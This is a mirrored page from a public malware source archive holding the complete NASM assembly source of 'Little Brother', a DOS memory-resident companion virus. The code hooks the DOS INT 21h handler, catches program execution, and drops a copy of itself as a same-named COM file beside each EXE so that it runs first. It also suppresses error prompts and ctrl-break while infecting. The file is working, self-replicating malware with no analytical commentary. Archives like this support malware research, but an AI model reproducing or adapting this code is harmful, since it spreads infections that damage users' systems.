mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
242 lines
7.4 KiB
NASM
242 lines
7.4 KiB
NASM
;****************************************************************************
|
||
;* Little Brother Version 1
|
||
;****************************************************************************
|
||
|
||
cseg segment
|
||
assume cs:cseg,ds:cseg,es:nothing
|
||
|
||
org 100h
|
||
|
||
FILELEN equ end - begin
|
||
RESPAR equ (FILELEN/16) + 17
|
||
VERSION equ 1
|
||
oi21 equ end
|
||
nameptr equ end+4
|
||
DTA equ end+8
|
||
|
||
.RADIX 16
|
||
|
||
|
||
;****************************************************************************
|
||
;* Start the program!
|
||
;****************************************************************************
|
||
|
||
begin: cld
|
||
|
||
mov ax,0DEDEh ;already installed?
|
||
int 21h
|
||
cmp ah,041h
|
||
je cancel
|
||
|
||
mov ax,0044h ;move program to empty hole
|
||
mov es,ax
|
||
mov di,0100h
|
||
mov si,di
|
||
mov cx,FILELEN
|
||
rep movsb
|
||
|
||
mov ds,cx ;get original int21 vector
|
||
mov si,0084h
|
||
mov di,offset oi21
|
||
movsw
|
||
movsw
|
||
|
||
push es ;set vector to new handler
|
||
pop ds
|
||
mov dx,offset ni21
|
||
mov ax,2521h
|
||
int 21h
|
||
|
||
cancel: ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* File-extensions
|
||
;****************************************************************************
|
||
|
||
EXE_txt db 'EXE',0
|
||
COM_txt db 'COM',0
|
||
|
||
|
||
;****************************************************************************
|
||
;* Interupt handler 24
|
||
;****************************************************************************
|
||
|
||
ni24: mov al,03
|
||
iret
|
||
|
||
|
||
;****************************************************************************
|
||
;* Interupt handler 21
|
||
;****************************************************************************
|
||
|
||
ni21: pushf
|
||
|
||
cmp ax,0DEDEh ;install-check ?
|
||
je do_DEDE
|
||
|
||
push dx
|
||
push bx
|
||
push ax
|
||
push ds
|
||
push es
|
||
|
||
cmp ax,4B00h ;execute ?
|
||
jne exit
|
||
|
||
doit: call infect
|
||
|
||
exit: pop es
|
||
pop ds
|
||
pop ax
|
||
pop bx
|
||
pop dx
|
||
popf
|
||
|
||
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||
|
||
do_DEDE: mov ax,04100h+VERSION ;return a signature
|
||
popf
|
||
iret
|
||
|
||
|
||
;****************************************************************************
|
||
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||
;****************************************************************************
|
||
|
||
infect: cld
|
||
|
||
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
|
||
mov word ptr cs:[nameptr+2],ds
|
||
|
||
push cs ;set new DTA
|
||
pop ds
|
||
mov dx,offset DTA
|
||
mov ah,1Ah
|
||
int 21
|
||
|
||
call searchpoint
|
||
mov si,offset EXE_txt ;is extension 'EXE'?
|
||
mov cx,3
|
||
rep cmpsb
|
||
jnz do_com
|
||
|
||
do_exe: mov si,offset COM_txt ;change extension to COM
|
||
call change_ext
|
||
|
||
mov ax,3300h ;get ctrl-break flag
|
||
int 21
|
||
push dx
|
||
|
||
xor dl,dl ;clear the flag
|
||
mov ax,3301h
|
||
int 21
|
||
|
||
mov ax,3524h ;get int24 vector
|
||
int 21
|
||
push bx
|
||
push es
|
||
|
||
push cs ;set int24 vec to new handler
|
||
pop ds
|
||
mov dx,offset ni24
|
||
mov ax,2524h
|
||
int 21
|
||
|
||
lds dx,dword ptr [nameptr] ;create the file (unique name)
|
||
xor cx,cx
|
||
mov ah,5Bh
|
||
int 21
|
||
jc return1
|
||
xchg bx,ax ;save handle
|
||
|
||
push cs
|
||
pop ds
|
||
mov cx,FILELEN ;write the file
|
||
mov dx,offset begin
|
||
mov ah,40h
|
||
int 21
|
||
cmp ax,cx
|
||
pushf
|
||
|
||
mov ah,3Eh ;close the file
|
||
int 21
|
||
|
||
popf
|
||
jz return1 ;all bytes written?
|
||
|
||
lds dx,dword ptr [nameptr] ;delete the file
|
||
mov ah,41h
|
||
int 21
|
||
|
||
return1: pop ds ;restore int24 vector
|
||
pop dx
|
||
mov ax,2524h
|
||
int 21
|
||
|
||
pop dx ;restore ctrl-break flag
|
||
mov ax,3301h
|
||
int 21
|
||
|
||
mov si,offset EXE_txt ;change extension to EXE
|
||
call change_ext
|
||
|
||
return: ret
|
||
|
||
do_com: call findfirst ;is the file a virus?
|
||
cmp word ptr cs:[DTA+1Ah],FILELEN
|
||
jne return
|
||
mov si,offset EXE_txt ;does the EXE-variant exist?
|
||
call change_ext
|
||
call findfirst
|
||
jnc return
|
||
mov si,offset COM_txt ;change extension to COM
|
||
jmp short change_ext
|
||
|
||
|
||
;****************************************************************************
|
||
;* Find the file
|
||
;****************************************************************************
|
||
|
||
findfirst: lds dx,dword ptr [nameptr]
|
||
mov cl,27h
|
||
mov ah,4Eh
|
||
int 21
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* change the extension of the filename (CS:SI -> ext)
|
||
;****************************************************************************
|
||
|
||
change_ext: call searchpoint
|
||
push cs
|
||
pop ds
|
||
movsw
|
||
movsw
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* search begin of extension
|
||
;****************************************************************************
|
||
|
||
searchpoint: les di,dword ptr cs:[nameptr]
|
||
mov ch,0FFh
|
||
mov al,'.'
|
||
repnz scasb
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* Text and Signature
|
||
;****************************************************************************
|
||
|
||
db 'Little Brother',0
|
||
|
||
end:
|
||
|
||
cseg ends
|
||
end begin
|
||
|
||
|